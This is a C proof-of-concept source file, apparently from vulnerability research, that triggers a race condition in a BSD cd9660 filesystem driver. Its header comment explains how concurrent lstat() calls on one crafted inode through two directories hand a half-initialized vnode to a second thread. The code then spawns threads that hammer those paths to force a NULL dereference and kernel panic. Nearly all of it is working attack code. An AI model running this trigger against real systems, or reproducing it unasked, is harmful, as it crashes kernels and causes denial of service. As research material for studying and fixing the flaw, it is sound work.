DF-3208 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* * DF-3208 -- cd9660 ihash publish-before-validate race trigger. * * Two threads hammer lstat() of the SAME crafted ino through TWO DIFFERENT * directories (X/PWN and Y/PWN) so the per-parent vnode lock does not * serialize them. Each failed attempt: * * loser thread: cd9660_ihashget() -> NULL -> getnewvnode -> kmalloc -> * cd9660_ihashins() [node now globally visible] -> * bread() of the bogus extent -> EIO -> vx_put() * [node STILL in the hash; only a concurrent holder of a * vget() reference prevents the synchronous reclaim] * * The other thread, if it enters cd9660_ihashget() while the creator is * between ihashins() and vx_put() (the creator blocks/drops the mp_token * LWKT token in bread/getblk or is preempted), vget()s that node, blocks * on the VX lock, wakes when the creator fails, and RECEIVES THE ORPHANED * HALF-INITIALIZED VNODE AS SUCCESS. The subsequent VOP_GETATTR in * lstat() dereferences ip->i_mnt == NULL -> kernel page fault -> panic. * * success criterion: guest kernel panic (Fatal trap 12, fault address * ~0x30, in cd9660_getattr / vop_compat_nresolve path), or a returned * lstat()==0 (would also prove the zombie handoff, but the panic comes * first). */ #include <sys/types.h> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <pthread.h> static volatile int go = 0; static long iters = 2000000; static int nthreads = 2; struct targ { long id; char path[512]; long ok, err, again; }; static void * hammer(void *v) { struct targ *t = v; struct stat st; long i; while (!go) usleep(1000); for (i = 0; i < iters; i++) { if (lstat(t->path, &st) == 0) t->ok++; else t->err++; if ((i & 0xFFFFF) == 0xFFFFF) fprintf(stderr, "t%ld: %ld iters ok=%ld err=%ld\n", t->id, i, t->ok, t->err); } return NULL; } int main(int argc, char **argv) { struct targ *targs; pthread_t *tids; char base[512]; int i, rc; long total_ok = 0, total_err = 0; if (argc < 2) { fprintf(stderr, "usage: trigger <mountdir> [iters] [threads]\n"); exit(2); } snprintf(base, sizeof(base), "%s", argv[1]); if (argc > 2) iters = atol(argv[2]); if (argc > 3) nthreads = atoi(argv[3]); if (nthreads < 2) nthreads = 2; targs = calloc(nthreads, sizeof(*targs)); tids = calloc(nthreads, sizeof(*tids)); /* alternate threads over X/PWN and Y/PWN (same ino, different dirs) */ for (i = 0; i < nthreads; i++) { targs[i].id = i; snprintf(targs[i].path, sizeof(targs[i].path), "%s/%s/PWN", base, (i & 1) ? "Y" : "X"); fprintf(stderr, "thread %d -> %s\n", i, targs[i].path); rc = pthread_create(&tids[i], NULL, hammer, &targs[i]); if (rc) { fprintf(stderr, "pthread_create: %s\n", strerror(rc)); exit(1); } } go = 1; for (i = 0; i < nthreads; i++) pthread_join(tids[i], NULL); for (i = 0; i < nthreads; i++) { total_ok += targs[i].ok; total_err += targs[i].err; } printf("done: %ld iters/thread, ok=%ld err=%ld\n", iters, total_ok, total_err); printf("RESULT: no-hit (no zombie handoff observed)\n"); return 0; } |